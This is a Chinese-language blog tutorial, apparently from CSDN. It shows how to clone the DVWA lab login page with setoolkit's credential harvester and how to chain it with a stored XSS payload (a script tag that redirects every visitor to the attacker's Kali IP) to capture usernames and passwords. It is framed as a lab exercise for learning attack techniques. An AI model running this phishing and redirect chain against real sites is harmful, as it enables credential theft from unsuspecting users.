使用setoolkit制作钓鱼网站并结合dvwa靶场储存型XSS漏洞利用 Pikachu(皮卡丘靶场)初识XSS(常见标签事件及payload总结)

setoolkit是一款kali自带的工具

使用命令启动

setoolkit

1) Social-Engineering Attacks                     1) 社会工程攻击
2) Penetration Testing (Fast-Track)             2) 渗透测试(快速通道)
3) Third Party Modules                                3) 第三方模块 
4) Update the Social-Engineer Toolkit         4) 更新社会工程师工具包
5) Update SET configuration                       5) 更新集配置  
6) Help, Credits, and About                         6)使用帮助及相关信息
99) Exit the Social-Engineer Toolkit            99)退出社会工程师工具包 

该工具有很多功能,这里介绍钓鱼网站

键入1回车,选择 Social-Engineering Attacks 

键入2回车,选择 Website Attack Vectors

键入3回车,选择 Credential Harvester Attack Method 

键入2回车,选择 Site Cloner(网站克隆)

此时需要设置一个属于是监听的ip,即我们kali的ip地址(也就是它括号里推荐的ip)

键入kali的ip地址:192.168.249.128,回车

提示需要输入克隆网站的URL,我这里以dvwa靶场的登录页面为例

对应url为:http://192.168.249.129:89/login.php

输入URL并回车,回显如下:

此时如果我们访问kali的ip地址,出来的便是dvwa靶场的登录页面

查看kali,已经产生访问记录

 如果用户不知情,没有注意URL的差异,而是单纯看页面样子一样,就直接进行登录

输入用户名和密码后登录,发现请求无回显

(注意观察url,此时已经跳回到了正确靶场登录界面的URL,也就是说下次用户即可正常登录)

此时kali已经记录到刚才用户的用户名和密码

此时用户以为自己输错了密码,于是重新登录,即可登录成功

(用户几乎不会有任何察觉密码已经泄露)

那么我们结合dvwa的储存型XSS来进行漏洞利用

在储存型XSS处插入下面代码

<script>location='http://192.168.249.128'</script>

该代码可以实现网页直接跳转,跳转的位置即为我们刚才克隆好的钓鱼网站地址

关于XSS漏洞可以参考我之前对皮卡丘靶场的讲解:

Pikachu(皮卡丘靶场)初识XSS(常见标签事件及payload总结)

http://t.csdnimg.cn/QJ8MF

插入恶意代码

提交之后则会直接跳转到我们的钓鱼网站

同样会进行记录

只要有人访问了那个留言板的页面(xss储存型靶场)都会产生跳转和记录 

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-01 07:50:03       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-01 07:50:03       106 阅读
  3. 在Django里面运行非项目文件

    2024-01-01 07:50:03       87 阅读
  4. Python语言-面向对象

    2024-01-01 07:50:03       96 阅读

热门阅读

  1. 2.PHP数组的用法

    2024-01-01 07:50:03       60 阅读
  2. Prometheus监控mysql

    2024-01-01 07:50:03       61 阅读
  3. 民营银行数字化安全运营的思考

    2024-01-01 07:50:03       52 阅读
  4. 编程笔记 html5&css&js 017 HTML样式

    2024-01-01 07:50:03       48 阅读
  5. UntiyShader(六)Unity提供的Cg/HLSL语义

    2024-01-01 07:50:03       90 阅读
  6. C++的一些知识

    2024-01-01 07:50:03       49 阅读
  7. python SVM 保存和加载模型参数

    2024-01-01 07:50:03       59 阅读
  8. C 多维数组、特殊字符和字符串函数详解

    2024-01-01 07:50:03       57 阅读
  9. 第12课 循环综合举例

    2024-01-01 07:50:03       43 阅读
  10. MySQL5.7服务器命令选项

    2024-01-01 07:50:03       41 阅读
  11. MySQL安装与配置

    2024-01-01 07:50:03       60 阅读
  12. CSS Grid 和 Flexbox

    2024-01-01 07:50:03       63 阅读